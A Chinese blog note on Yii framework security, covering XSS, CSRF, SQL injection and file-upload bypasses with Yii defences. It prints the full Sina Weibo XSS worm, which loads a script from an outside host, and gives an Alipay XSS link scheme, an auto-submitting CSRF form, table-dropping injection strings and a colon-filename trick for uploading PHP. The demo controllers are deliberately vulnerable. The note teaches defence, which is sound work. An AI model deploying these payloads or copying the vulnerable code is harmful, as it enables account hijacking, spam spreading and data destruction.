入门客AI创业平台(我带你入门,你带我飞行)
博文笔记

Yii框架安全笔记

创建时间:2016-11-21 投稿人: 浏览次数:1615

认识XSS

XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

XSS攻击造成的危害

  • 盗取用户信息
  • 非法转帐
  • 篡改系统信息
  • 网站挂马

盗取用户信息原理


  1. 用户登录,服务器会生成一个SESSION文件保存用户登录状态信息
  2. 服务器会把这个SESSION文件名经过相关转换,变成一个字符串,服务器发生响应会带上这个字符串,浏览器拿到这个字符串会存储在cookie中
  3. 我们用别人的这个cookie去访问服务器(可以直接在需要登录的页面将获取到的cookie种在浏览器上,刷新下,document.cookie = cookie_login_in 成功则登录),服务器根据这个cookie查找到SESSION文件,这样我们就相当于用别人的账号登录了这个网站

怎么防止别人盗取cookie呢?


可以通过在服务器的响应信息中,服务器通过标记某些cookie为httponly,在浏览器中就无法通过js脚本读取这些cookie,xss就只能通过请求头信息查看登录cookie来完成盗号功能

非法转账


问:什么是非法转账?
答:把js代码注入到他人转账页面,打开转账页面,js代码运行,自动填写收款人、付款金额,并且触发下一步按钮(或付款按钮)

1、构建非法转账链接

http://shenghuo.alipay.com/send/payment/fill.htm?_pdType=adbhajcaccgejhgdaeih<script>alert(3)</script>

代码拼接至可以运行
2、找一个博客或论坛,发表文章,暗含该链接
3、让尽可能多的人点击这个链接,跳转到他的支付宝转账链接,来运行这个脚本代码

反射型XSS

反射型XSS:链接参数里面有js脚本代码,当传递给后台服务器后,服务器又原封不动的把参数返回给浏览器,浏览器识别这段js脚本代码后运行了

比如访问:127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=<script>alert("hello world")</script>

如果有弹出框出来,就完成了一次反射型xss(火狐浏览器会弹出来,360和chrome浏览器不会,因为这两个浏览器有XSS防护机制)

//控制器接收传递的参数并输出
<?php
//app指的是网站根目录
//controllers
namespace appcontrollers;

use yiiwebController;
use Yii;
/**
 * XSS防护学习
*/
class XssController extends Controller
{
    /**
     * 在浏览器地址栏注入xss:  http://127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E`
     */
    public function actionXss(){
        //==========================================
        //如果不加下方的取消防护XSS攻击,则在谷歌浏览器会提示以下错误信息,被goole自动屏蔽了
        //The XSS Auditor refused to execute a script in "http://127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss&name=%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E`"
        // because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.
        //==========================================
        Yii::$app->response->headers->add("X-XSS-Protection", "0");//关闭XSS防护才能看出效果
        echo YII::$app->request->get("name");        
    }
}

XSS攻击之蠕虫

下面是新浪微博被攻击的蠕虫代码

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = "";
    id = result.match(/namecard="true" title="[^"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split(""")[3];
        id_arr += sum + "||";
    }
    return id_arr;
}
function random_msg(){
    link = " http://163.fm/PxZHoxn?id=" + new Date().getTime();;
    var msgs = [
        "郭美美事件的一些未注意到的细节:",
        "建党大业中穿帮的地方:",
        "让女人心动的100句诗歌:",
        "3D肉团团高清普通话版种子:",
        "这是传说中的神仙眷侣啊:",
        "惊爆!范冰冰艳照真流出了:",
        "杨幂被爆多次被潜规则:",
        "傻仔拿锤子去抢银行:",
        "可以监听别人手机的软件:",
        "个税起征点有望提到4000:"];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = "http://weibo.com/mblog/publish.php?rnd=" + new Date().getTime();
    data = "content=" + random_msg() + "&pic=&styleid=2&retcode=";
    post(url,data,true);
}
function follow(){
    url = "http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=" + new Date().getTime();
    data = "uid=" + 2201270010 + "&fromuid=" + $CONFIG.$uid + "&refer_sort=profile&atnId=profile";
    post(url,data,true);
}
function message(){
    url = "http://weibo.com/" + $CONFIG.$uid + "/follow";
    ids = getappkey(url);
    id = ids.split("||");
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = "http://weibo.com/message/addmsg.php?rnd=" + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = "content=" + msg + "&name=" + user + "&retcode=";
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement("script");g.src="http://www.2kt.cn/images/t.js";document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout("location="http://weibo.com/pub/topic";",5000);

Yii转码防范

/**
 * XSS转码防范
 * 访问:127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss2&script=<script>alert("hello world xss")</script>
 */
public function actionXss2()
{
    Yii::$app->response->headers->add("X-XSS-Protection", "0");//部分浏览器关闭XSS防护才能看出效果
    $script = Yii::$app->request->get("script");
    echo $script;//未过滤的输出
    //echo yiihelpersHtml::encode($script);//转码过滤输出

}

上面的例子用了yiihelpersHtml::encode()转码防范
Yii内部原理:
找到vendoryiisoftyii2helpersBaseHtml.php

/**
 * Encodes special characters into HTML entities.
 * The [[yiiaseApplication::charset|application charset]] will be used for encoding.
 * @param string $content the content to be encoded
 * @param boolean $doubleEncode whether to encode HTML entities in `$content`. If false,
 * HTML entities in `$content` will not be further encoded.
 * @return string the encoded content
 * @see decode()
 * @see http://www.php.net/manual/en/function.htmlspecialchars.php
 */
public static function encode($content, $doubleEncode = true)
{
    return htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, Yii::$app ? Yii::$app->charset : "UTF-8", $doubleEncode);
}

Yii过滤防范

/**
 * XSS过滤防范
 * 访问:127.0.0.1/Yii/yii2-demo/web/index.php?r=xss/xss2&script=start<script>alert("hello world xss")</script>end
 */
public function actionXss3(){
    YII::$app->response->headers->add("X-XSS-Protection","0");
    $script = YII::$app->request->get("script");
    //这个函数使用了lexer技术,可以识别HTML里的JS、HTML、CSS三种代码,并把js过滤掉
    //echo yiihelpersHtmlPurifier::process($script);//output:  startend
}

认识CSRF攻击

Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在并未授权的情况下执行在权限保护之下的操作,有很大的危害性。
用户已经登陆的情况下,伪造表单,生成链接并诱使用户进行点击,从而盗用用户身份进行操作(发贴,评论,转账等)
攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
get型的CSRF攻击:
1、该用户登录了某银行网站
2、构造了某银行转账URL:http://www.xxxbank.com/index.php?from=zhangsan&to=lisi&money=400
3、用户点击了这个链接,就会执行转账过程,完成一次CSRF攻击

post型的CSRF攻击

伪造post请求
1、伪造form表单,要伪造相同表单控件,同样提交到原来的后台所处理页面
2、用户要先登录到原来form表单所在的系统
3、诱导用户来到我们的form表单,自动提交到目标服务器进行修改删除操作

示例代码:

<form action="http://127.0.0.1/Yii/yii2-demo/web/index.php?r=csrf/csrf"  method="post" id="form">
    <input type="text" name="post_title" value="csrf_attack" />
</form>

<script>
    document.getElementById("form").submit();//用户进来此页面后自动提交表单
</script>

CSRF攻击防范

防范csrf:
1,验证码:比较有效,但是降低用户体验;
2,referer头,需要考虑正常访问没有referer头的情况;
3,token, 响应请求时返回的防伪标志

Yii中对CSRF的防范

Yii通过csrfToken防范CSRF

Yii中表单提交必须要有_csrf的值,防止被CSRF攻击

请求代码

<?php
//app指的是网站根目录
//controllers
namespace appcontrollers;

use yiiwebController;
use Yii;
/**
 * CSRF防护学习
*/
class CsrfController extends Controller
{
    /**
     * 地址:http://127.0.0.1/Yii/yii2-demo/web/index.php?r=csrf/csrf
     * 如果不携带csrfToken的话,会提示Bad Request (#400) 错误
     * @return type
     */
    public function actionCsrf()
    {   
        if(Yii::$app->request->isPost){
            echo Yii::$app ->request->post("title");
        }else{
            $csrfToken = Yii::$app -> request -> csrfToken;
            return $this->renderPartial("csrf", ["csrfToken"=>$csrfToken]);
        }
    } 
}

html代码



<form action="" method="post" >
    <input name="title" value="hello csrf"  type="text"/>
    <!--Yii中表单提交必须要有_csrf的值,防止被CSRF攻击-->
    <input type="hidden" name="_csrf" value="<?=$csrfToken;?>" />
    <input type="submit" value="提交"/>
</form>

参考文章:从Yii2的Request看其CSRF防范策略

SQL注入攻击的方式

Sql注入:
将要执行的sql语句采用拼接的方式组装时,就存在sql注入的可能;
原本要查询的字符串在拼接后发生发“越狱”,部分字符串被数据库识别成可执行语句,
导致意外的操作和查询结果
防范:
1,屏蔽关键字和敏感词,有影响业务逻辑的可能;
2, 对传入变量转义,避免变量的内容越狱
3,采用UTF-8编码,不要使用GBK(重要)
4,PHP的话,采用PDO操作mysql

#例子一:
select * from admin where name="admin" and password="123456"
#如果用户的名字是   name = admin" --
#那么查询语句就变成
SELECT * FROM  admin  WHERE  username = "admin" -- " and password=" 123456 ";
#在数据库中,--表示注释,则后面的会被忽略,如果这是管理员用户登录时的验证,则不需要密码就可以正常的登录到系统中

#例子二:
select * from admin where name="admin" and password="123456"
#如果用户的名字是  name = "; drop table users; --
#那么查询语句就变成
select * from admin where name=" "; drop table users; -- " and password="123456"
#如果运行,会把users表删除

#例子三:
#在一个论坛查找积分在60以下且关键字是youyiku的帖子,会运行以下sql语句
select * from articles where score < 60 and title like "%youyiku%";
#如果查找关键字:  " or 1=1 --
select * from articles where score<60 and title like "%" or 1=1 -- %"
#就突破了这个限制,会把所有帖子查找出来

Yii的SQL注入防范

1、采用PDO操作数据库
2、对传输的数据过滤

<?php
namespace appcontrollers;
use yiiwebController;

class SqlController extends Controller{

    /**
     * 通过PDO操作数据库的方式来防止sql注入
     * 如果在数据库配置中"emulatePrepare"=>false,则占位符转义是在数据库端,目的是由数据库对字符串进行转义操作,阻止sql注入
     * 运行下面代码,sql语句会分成两部分(可以采用wireshark监听步骤):
     * 向MySQL传递第一份数据:select * from users where name=?
     * 向MySQL传递第二份数据:zhangsan,会在MySQL进行转义,就算传过来的是中文和单引号,也会把单引号转义之后再执行sql语句,就防止了sql注入
     */
    public function actionTest(){
        $user = (new yiidbQuery())
            ->select("*")
            ->from("mrs_customer")
            ->where("name=:name",[":name"=>"张三"])
            ->one();

        print_r($user);
    }
}

fiddler可以监听HTTP请求,并篡改请求的数据,比如篡改上传的图片的名字

上传文件数据时,请求数据可以在到达服务器前被拦截并篡改
content-type可被修改, 文件名中加入冒号(:),从而可以通过后缀名(比如服务器端有验证上传的图片后缀必须为jpg,jpeg..)验证,
并使move_uploaded_file执行时丢弃:之后的部分,使上传文件变成可执行的php
若上传文件没被重命名或重命名后的名字被发现,则可使文件可被任意执行
处理方式:严格检查文件,禁止出现”:”, 重命名文件,禁止目录列出文件,取消上传目录文件的执行权限

<?php
   /**
    * 上传的文件名为 test.php.jpg
    * 如果通过fiddler篡改HTTP请求,将文件名改为test.php:.jpg,则在服务器端不重命名的情况下,会保存为test.php
    */
    if($_POST){
        $ext = pathinfo($_FILES["photo"]["name"],PATHINFO_EXTENSION);
        if(in_array($ext, ["png","jpg","gif"])){
            echo "类型检测成功";
            //下方代码,直接保存用户上传的文件名是很不安全的
            //比较好的处理方式是:
            //1、重命名文件
            //2、取消上传目录文件的执行权限
            //3、严格检查文件,禁止出现":"
            move_uploaded_file($_FILES["photo"]["tmp_name"], "./".$_FILES["photo"]["name"]);
        }
    }

    ?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="text" name="title" value="this is a title &#"/>
    <input type="file" name="photo"/>
    <input type="submit" value="提交"/>
</form>
声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。